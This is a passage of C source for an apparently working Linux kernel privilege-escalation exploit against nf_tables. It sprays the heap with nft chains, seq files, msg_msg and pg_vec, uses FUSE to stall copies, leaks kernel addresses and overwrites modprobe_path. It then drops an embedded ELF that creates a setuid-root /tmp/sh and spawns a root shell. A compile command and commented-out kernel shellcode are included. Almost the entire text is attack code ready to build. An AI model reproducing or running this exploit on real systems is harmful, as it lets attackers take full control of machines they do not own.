nftnl_chain_set_str(t, NFTNL_CHAIN_TABLE, "table");
nftnl_chain_set_str(t, NFTNL_CHAIN_NAME, name);
nftnl_chain_nlmsg_build_payload(nlh, t);
nftnl_chain_free(t);
nl = mnl_socket_open(NETLINK_NETFILTER);
if (nl == NULL)
die("mnl_socket_open");
if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0)
die("mnl_socket_bind");
portid = mnl_socket_get_portid(nl);
if (mnl_socket_sendto(nl, nlh, nlh -> nlmsg_len) < 0)
die("mnl_socket_send");
ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
while (ret > 0) {
ret = mnl_cb_run(buf, ret, seq, portid, table_cb, & type);
if (ret <= 0)
break;
ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
}
if (ret == -1)
die("error");
mnl_socket_close(nl);
return 0;
}
#define CHAIN_FIRST_SPRAY_NUM 0x40
#define CHAIN_SECOND_SPRAY_NUM 0x200
#define CHAIN_THIRD_SPRAY_NUM 0x100
#define CHAIN_RELEASE_INTERNAL 0x40
#define CHAIN_RELEASE_START 0x20
#define CHAIN_RELEASE_END 0x180
int victim_chain_idx = -1;
void first_spray_chain() { // for leak
char name[16];
for (int i = 0; i < CHAIN_FIRST_SPRAY_NUM; i++) {
memset(name, 0, 16);
sprintf(name, "chain%d", i);
alloc_chain(name);
}
}
void second_spray_chain() {
char name[32];
for (int i = 0; i < CHAIN_SECOND_SPRAY_NUM; i++) {
memset(name, 0, 32);
sprintf(name, "chain_second%d", i);
alloc_chain(name);
}
}
void third_spray_chain() {
char name[32];
for (int i = 0; i < CHAIN_THIRD_SPRAY_NUM; i++) {
memset(name, 0, 32);
sprintf(name, "chain_third%d", i);
alloc_chain(name);
}
}
void find_victim_chain() {
char name[32];
for (int i = 0; i < CHAIN_THIRD_SPRAY_NUM; i++) {
if (found_victim) continue;
memset(name, 0, 32);
sprintf(name, "chain_third%d", i);
read_chain(name);
if (found_victim) {
victim_chain_idx = i;
logs("Victim chain index: %d", victim_chain_idx);
break;
}
}
}
void clean_up_first_spray_chain() {
char name[16];
for (int i = 0; i < CHAIN_FIRST_SPRAY_NUM; i++) {
memset(name, 0, 16);
sprintf(name, "chain%d", i);
free_chain(name);
}
}
void dump_all_chain() {
char name[16];
for (int i = 0; i < CHAIN_FIRST_SPRAY_NUM; i++) {
if (leak) continue;
memset(name, 0, 16);
sprintf(name, "chain%d", i);
read_chain(name);
if (leak) {
victim_chain_idx = i;
logs("Victim chain index: %d", victim_chain_idx);
break;
}
}
}
void free_some_of_chain() {
for (int i = CHAIN_RELEASE_START; i < CHAIN_RELEASE_END; i += CHAIN_RELEASE_INTERNAL) {
char name[32];
memset(name, 0, 32);
sprintf(name, "chain_second%d", i);
free_chain(name);
}
}
void clean_up_all_chain() {
char name[32];
for (int i = 0; i < CHAIN_THIRD_SPRAY_NUM; i++) {
memset(name, 0, 32);
sprintf(name, "chain_third%d", i);
logd("Freeing chain: %s/%d", name, CHAIN_THIRD_SPRAY_NUM);
free_chain(name);
}
for (int i = 0; i < CHAIN_SECOND_SPRAY_NUM; i++) {
if (i >= CHAIN_RELEASE_START && ((i - CHAIN_RELEASE_START) % CHAIN_RELEASE_INTERNAL == 0) && i < CHAIN_RELEASE_END) continue;
memset(name, 0, 32);
sprintf(name, "chain_second%d", i);
logd("Freeing chain: %s/%d", name, CHAIN_SECOND_SPRAY_NUM);
free_chain(name);
}
}
/*------------------------------------nft_chain utils ends-----------------------------------------*/
/*------------------------------------seq file utils starts----------------------------------------------------*/
#define SEQ_SPRAY_NUM 0x100
int seq_file_fd[SEQ_SPRAY_NUM];
void spray_seq_file() {
for (int i = 0; i < SEQ_SPRAY_NUM; i++) {
seq_file_fd[i] = open("/proc/self/stat", O_RDONLY);
if (seq_file_fd[i] < 0)
loge("Failed to open %lld seq file", i);
return;
}
}
void clean_up_seq_file() {
for (int i = 0; i < SEQ_SPRAY_NUM; i++) {
close(seq_file_fd[i]);
}
}
/*------------------------------------seq file utils ends---------------------------------------------------------*/
/*----------------------------------msg_msg utils starts-----------------------------------------*/
#define MSG_SPRAY_NUM 0x30
int msg_queues[MSG_SPRAY_NUM];
void create_msg_queue() {
logd("Creating message queue...");
for (int i = 0; i < MSG_SPRAY_NUM; i++) {
msg_queues[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
if (msg_queues[i] < 0)
loge("[-] Failed to get message queue");
}
}
uint64_t arg[MSG_SPRAY_NUM];
void spray_msg_handler(void * arg) {
struct msgbuf * msgbuf;
uint64_t current_idx = * (uint64_t * ) arg;
msgbuf = (struct msgbuf * )(0x1337000 + 32);
msgbuf -> mtype = 0x41; // msgtyp
if (msgsnd(msg_queues[current_idx], msgbuf, 4248, 0) < 0)
loge("[-] Failed to send message");
}
void spray_msg() {
char * buf;
system("touch /tmp/foo.txt");
fuse_fd = open("/tmp/foo/slavin", O_RDWR);
if (fuse_fd < 0)
die("Failed to open file: /tmp/foo/slavin");
if ((uint64_t) mmap((void * ) 0x1338000, 0x1000, PROT_WRITE | PROT_READ, MAP_FIXED | MAP_SHARED, fuse_fd, 0) != 0x1338000)
die("[-] Failed to mmap fuse_page!");
if ((uint64_t) mmap((void * ) 0x1337000, 0x1000, PROT_WRITE | PROT_READ, MAP_ANONYMOUS | MAP_SHARED, -1, 0) != 0x1337000)
die("[-] Failed to mmap buf_page!");
memset((void * ) 0x1337000, 0, 0x1000);
*(uint64_t * )(0x1338000 - 8) = 0xdeadbeef;
pthread_t threads[MSG_SPRAY_NUM];
for (int i = 0; i < MSG_SPRAY_NUM; i++) {
arg[i] = i;
pthread_create( & threads[i], NULL, (void * ) spray_msg_handler, & arg[i]);
}
sleep(1);
}
/*-----------------------------------msg_msg utils ends---------------------------------------*/
/*-----------------------------------pg_vec utils starts---------------------------------------------*/
struct tpacket_req3 {
unsigned int tp_block_size; /* Minimal size of contiguous block */
unsigned int tp_block_nr; /* Number of blocks */
unsigned int tp_frame_size; /* Size of frame */
unsigned int tp_frame_nr; /* Total number of frames */
unsigned int tp_retire_blk_tov; /* timeout in msecs */
unsigned int tp_sizeof_priv; /* offset to private data area */
unsigned int tp_feature_req_word;
};
void packet_socket_rx_ring_init(int s, unsigned int block_size,
unsigned int frame_size, unsigned int block_nr,
unsigned int sizeof_priv, unsigned int timeout) {
int v = 2;
int rv = setsockopt(s, SOL_PACKET, 10, & v, sizeof(v));
if (rv < 0) {
die("setsockopt(PACKET_VERSION): %m");
}
struct tpacket_req3 req;
memset( & req, 0, sizeof(req));
req.tp_block_size = block_size;
req.tp_frame_size = frame_size;
req.tp_block_nr = block_nr;
req.tp_frame_nr = (block_size * block_nr) / frame_size;
req.tp_retire_blk_tov = timeout;
req.tp_sizeof_priv = sizeof_priv;
req.tp_feature_req_word = 0;
rv = setsockopt(s, SOL_PACKET, 5, & req, sizeof(req));
if (rv < 0) {
die("setsockopt(PACKET_RX_RING): %m");
}
}
struct sockaddr_ll {
unsigned short sll_family;
unsigned short sll_protocol;
int sll_ifindex;
unsigned short sll_hatype;
unsigned char sll_pkttype;
unsigned char sll_halen;
unsigned char sll_addr[8];
};
int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (s < 0) {
die("socket(AF_PACKET): %m");
}
packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
sizeof_priv, timeout);
struct sockaddr_ll sa;
memset( & sa, 0, sizeof(sa));
sa.sll_family = PF_PACKET;
sa.sll_protocol = htons(ETH_P_ALL);
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_hatype = 0;
sa.sll_pkttype = 0;
sa.sll_halen = 0;
int rv = bind(s, (struct sockaddr * ) & sa, sizeof(sa));
if (rv < 0) {
die("bind(AF_PACKET): %m");
}
return s;
}
int pagealloc_pad(int count, int size) {
return packet_socket_setup(size, 2048, count, 0, 100);
}
#define KMALLOC256_PAGE_CNT((200) / 8)
#define PACKET_FENGSHUI_CNT(0x100)
#define PACKET_SPRAY_CNT 0x380
#define PACKET_FREE_HOLE_STEP(0x20)
int packet_fds[PACKET_SPRAY_CNT] = {
0
};
int fengshui_fds[PACKET_FENGSHUI_CNT] = {
0
};
void spray_pg_vec() {
logd("spraying pg_vec in kmalloc-256 ...");
memset(packet_fds, 0, sizeof(packet_fds));
for (int i = 0; i < PACKET_SPRAY_CNT; i++) {
logd("spray %d/%d", i, PACKET_SPRAY_CNT);
packet_fds[i] = pagealloc_pad(KMALLOC256_PAGE_CNT, 0x1000);
}
}
/* This exp uses modpribe_path, but with arbitrary write primitive and leaked
single_start address, you can patch the kernel text to shellcode.*/
/* unsigned char shellcode[] = {
0x04, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
0x47, 0x4e, 0x55, 0x00, 0x02, 0x00, 0x01, 0xc0, 0x04, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0xc0,
0x04, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0x8d, 0x3d, 0x00, 0x10, 0x00, 0x00, 0xeb, 0x00, 0x48, 0x83, 0xec,
0x68, 0xb8, 0x00, 0x00, 0x00, 0x02, 0x48, 0x8d, 0x0d, 0xd9, 0x00, 0x00,
0x00, 0x48, 0x89, 0xfa, 0x48, 0x8d, 0x34, 0x07, 0x48, 0x83, 0xc6, 0xec,
0x48, 0x39, 0xf2, 0x0f, 0x87, 0xbe, 0x00, 0x00, 0x00, 0x45, 0x31, 0xc0,
0x49, 0x83, 0xf8, 0x14, 0x74, 0x14, 0x46, 0x8a, 0x0c, 0x02, 0x45, 0x3a,
0x0c, 0x08, 0x75, 0x05, 0x49, 0xff, 0xc0, 0xeb, 0xeb, 0x48, 0xff, 0xc2,
0xeb, 0xda, 0x48, 0x85, 0xd2, 0x0f, 0x84, 0x98, 0x00, 0x00, 0x00, 0x48,
0x01, 0xf8, 0x48, 0x83, 0xe7, 0xfc, 0x48, 0x39, 0xc7, 0x73, 0x10, 0x8b,
0x37, 0x48, 0x01, 0xfe, 0x48, 0x39, 0xd6, 0x74, 0x12, 0x48, 0x83, 0xc7,
0x04, 0xeb, 0xeb, 0x48, 0x83, 0xc2, 0x14, 0x48, 0x29, 0xd0, 0x48, 0x89,
0xd7, 0xeb, 0xa1, 0x48, 0x63, 0x47, 0xfc, 0x48, 0x01, 0xf8, 0x48, 0x83,
0xc0, 0xfc, 0x48, 0x89, 0xe1, 0xc7, 0x41, 0x03, 0x45, 0x3d, 0x2f, 0x00,
0xc7, 0x01, 0x48, 0x4f, 0x4d, 0x45, 0x0f, 0x28, 0x05, 0x80, 0x00, 0x00,
0x00, 0x48, 0x8d, 0x74, 0x24, 0x40, 0x0f, 0x29, 0x46, 0x10, 0x0f, 0x28,
0x05, 0x60, 0x00, 0x00, 0x00, 0x0f, 0x29, 0x06, 0xc7, 0x46, 0x20, 0x62,
0x69, 0x6e, 0x00, 0x48, 0xba, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68,
0x00, 0x48, 0x8d, 0x7c, 0x24, 0x08, 0x48, 0x89, 0x17, 0x48, 0x8d, 0x54,
0x24, 0x20, 0x48, 0x89, 0x0a, 0x48, 0x89, 0x72, 0x08, 0x48, 0x83, 0x62,
0x10, 0x00, 0x48, 0x8d, 0x74, 0x24, 0x10, 0x48, 0x89, 0x3e, 0x48, 0x83,
0x66, 0x08, 0x00, 0x31, 0xc9, 0xff, 0xd0, 0x31, 0xc0, 0x48, 0x83, 0xc4,
0x68, 0xc3, 0x63, 0x61, 0x6c, 0x6c, 0x5f, 0x75, 0x73, 0x65, 0x72, 0x6d,
0x6f, 0x64, 0x65, 0x68, 0x65, 0x6c, 0x70, 0x65, 0x72, 0x00, 0x48, 0x4f,
0x4d, 0x45, 0x3d, 0x2f, 0x00, 0x50, 0x41, 0x54, 0x52, 0x48, 0x3d, 0x2f,
0x73, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x73, 0x62,
0x69, 0x6e, 0x3a, 0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75, 0x73, 0x72,
0x2f, 0x62, 0x69, 0x6e, 0x00
};
char old_buf[0x2000];*/
void usma() {
logd("usma attack ...");
logd("searching edited page ...");
char buf[PAGE_SIZE];
memset(buf, 0, PAGE_SIZE);
for (int i = 0; i < PACKET_SPRAY_CNT; i++) {
logd("search %d", i);
if (!packet_fds[i]) {
continue;
}
char * page = (char * ) mmap(NULL, PAGE_SIZE * KMALLOC256_PAGE_CNT,
PROT_READ | PROT_WRITE, MAP_SHARED, packet_fds[i], 0);
char * target = page + PAGE_SIZE * 2;
int j;
for (j = 0x30; j < 0x1000; j++) {
if (target[j] != 0) {
break;
}
}
if (j != 0x1000) {
logi("found target page!!");
// qword_dump(target, 0x1000);
/*
memset(old_buf, 0x90, 0x1000);
memcpy(old_buf + 0x100 - sizeof(shellcode), shellcode, sizeof(shellcode));*/
uint64_t target_offset = (kernel_offset + modprobe_path) & 0xfff;
memcpy( & target[target_offset], "/tmp/hax\x00", 14);
qword_dump( & target[target_offset], 0x10);
logs("triggering modprobe\n");
system("/tmp/benign");
sleep(1);
logs("popping shell\n");
system("/tmp/sh");
break;
}
}
}
/*-----------------------------------------------pg_vec utils ends----------------------------------------------------*/
void setup_env() {
uid_t uid = getuid();
gid_t gid = getgid();
do_unshare();
configure_uid_map(uid, gid);
bring_interface_up("lo");
create_msg_queue();
}
int command_fd[2];
int reply_fd[2];
char signal;
void child_for_usma() {
read(command_fd[0], & signal, 1);
spray_pg_vec();
write(reply_fd[1], & signal, 1);
read(command_fd[0], & signal, 1);
usma();
write(reply_fd[1], & signal, 1);
}
void leak_address() {
logi("first free");
first_free();
usleep(500000);
logi("spray 0x%llx chain udata", CHAIN_FIRST_SPRAY_NUM);
first_spray_chain();
usleep(500000);
logi("second free");
second_free();
usleep(500000);
logi("spray 0x%llx seq files", SEQ_SPRAY_NUM);
spray_seq_file();
usleep(500000);
logi("try to leak");
dump_all_chain();
}
void leak_clean_up() {
logi("clean up chain");
clean_up_first_spray_chain();
usleep(500000);
}
void pwn() {
pipe(command_fd);
pipe(reply_fd);
char release_msg_signal[MSG_SPRAY_NUM];
if (!fork()) {
child_for_usma();
return;
}
logi("spray 0x%llx chain", CHAIN_SECOND_SPRAY_NUM);
second_spray_chain();
usleep(500000);
logi("free some of chain");
free_some_of_chain();
usleep(500000);
logi("first free");
first_free();
usleep(500000);
logi("third spray chain");
third_spray_chain();
usleep(500000);
logi("second free");
second_free();
usleep(500000);
logi("find victim chain");
find_victim_chain();
usleep(500000);
logi("spray msg");
spray_msg();
usleep(500000);
logi("read victim chain");
char name[32];
memset(name, 0, 32);
sprintf(name, "chain_third%d", victim_chain_idx);
read_chain(name);
logi("free all chain");
clean_up_all_chain();
usleep(500000);
logi("spray pg_vec");
write(command_fd[1], & signal, 1);
read(reply_fd[0], & signal, 1);
logi("modify pg_vec");
write(fuse_command_pipe[1], & signal, 1);
read(fuse_reply_pipe[0], & signal, 1);
sleep(2);
logi("find victim page...");
write(command_fd[1], & signal, 1);
read(reply_fd[0], & signal, 1);
}
int setup_modprobe_hax() {
// small ELF file matroshka doll that does;
// fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC);
// write(fd, elfcode, elfcode_len)
// chmod("/tmp/sh", 04755)
// close(fd);
// exit(0);
//
// the dropped ELF simply does:
// setuid(0);
// setgid(0);
// execve("/bin/sh", ["/bin/sh", NULL], [NULL]);
unsigned char elfcode[] = {
0x7f,
0x45,
0x4c,
0x46,
0x02,
0x01,
0x01,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x02,
0x00,
0x3e,
0x00,
0x01,
0x00,
0x00,
0x00,
0x78,
0x00,
0x40,
0x00,
0x00,
0x00,
0x00,
0x00,
0x40,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x40,
0x00,
0x38,
0x00,
0x01,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x01,
0x00,
0x00,
0x00,
0x05,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x40,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x40,
0x00,
0x00,
0x00,
0x00,
0x00,
0x97,
0x01,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x97,
0x01,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x10,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x48,
0x8d,
0x3d,
0x56,
0x00,
0x00,
0x00,
0x48,
0xc7,
0xc6,
0x41,
0x02,
0x00,
0x00,
0x48,
0xc7,
0xc0,
0x02,
0x00,
0x00,
0x00,
0x0f,
0x05,
0x48,
0x89,
0xc7,
0x48,
0x8d,
0x35,
0x44,
0x00,
0x00,
0x00,
0x48,
0xc7,
0xc2,
0xba,
0x00,
0x00,
0x00,
0x48,
0xc7,
0xc0,
0x01,
0x00,
0x00,
0x00,
0x0f,
0x05,
0x48,
0xc7,
0xc0,
0x03,
0x00,
0x00,
0x00,
0x0f,
0x05,
0x48,
0x8d,
0x3d,
0x1c,
0x00,
0x00,
0x00,
0x48,
0xc7,
0xc6,
0xed,
0x09,
0x00,
0x00,
0x48,
0xc7,
0xc0,
0x5a,
0x00,
0x00,
0x00,
0x0f,
0x05,
0x48,
0x31,
0xff,
0x48,
0xc7,
0xc0,
0x3c,
0x00,
0x00,
0x00,
0x0f,
0x05,
0x2f,
0x74,
0x6d,
0x70,
0x2f,
0x73,
0x68,
0x00,
0x7f,
0x45,
0x4c,
0x46,
0x02,
0x01,
0x01,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x02,
0x00,
0x3e,
0x00,
0x01,
0x00,
0x00,
0x00,
0x78,
0x00,
0x40,
0x00,
0x00,
0x00,
0x00,
0x00,
0x40,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x40,
0x00,
0x38,
0x00,
0x01,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x01,
0x00,
0x00,
0x00,
0x05,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x40,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x40,
0x00,
0x00,
0x00,
0x00,
0x00,
0xba,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0xba,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x10,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x48,
0x31,
0xff,
0x48,
0xc7,
0xc0,
0x69,
0x00,
0x00,
0x00,
0x0f,
0x05,
0x48,
0x31,
0xff,
0x48,
0xc7,
0xc0,
0x6a,
0x00,
0x00,
0x00,
0x0f,
0x05,
0x48,
0x8d,
0x3d,
0x1b,
0x00,
0x00,
0x00,
0x6a,
0x00,
0x48,
0x89,
0xe2,
0x57,
0x48,
0x89,
0xe6,
0x48,
0xc7,
0xc0,
0x3b,
0x00,
0x00,
0x00,
0x0f,
0x05,
0x48,
0xc7,
0xc0,
0x3c,
0x00,
0x00,
0x00,
0x0f,
0x05,
0x2f,
0x62,
0x69,
0x6e,
0x2f,
0x73,
0x68,
0x00
};
FILE * fp;
fp = fopen("/tmp/benign", "wb");
if (fp == NULL)
die("fopen");
if (fwrite("\xff\xff\xff\xff", 4, 1, fp) < 1)
die("fwrite");
fclose(fp);
fp = fopen("/tmp/hax", "wb");
if (fp == NULL)
die("fopen");
if (fwrite(elfcode, sizeof(elfcode), 1, fp) < 1)
die("fwrite");
fclose(fp);
if (chmod("/tmp/benign", 0777) < 0)
die("chmod");
if (chmod("/tmp/hax", 0777) < 0)
die("chmod");
return 0;
}
int main(int argc, char * argv[]) {
setup_modprobe_hax();
bind_core(0);
setup_env();
pipe(fuse_command_pipe);
pipe(fuse_reply_pipe);
leak_address();
mkdir(MNT_PATH, 0777);
fuse_arg[0] = argv[0];
if (!fork()) {
fuse_main(sizeof(fuse_arg) / sizeof(char * ) - 1, fuse_arg, & fuse_ops, NULL);
logw("FUSE shouldn't reach here");
sleep(1000000);
}
sleep(1);
pwn();
return 0;
}
// gcc exp_usma.c -o exp_usma -lnftnl -lmnl -lfuse -pthread -w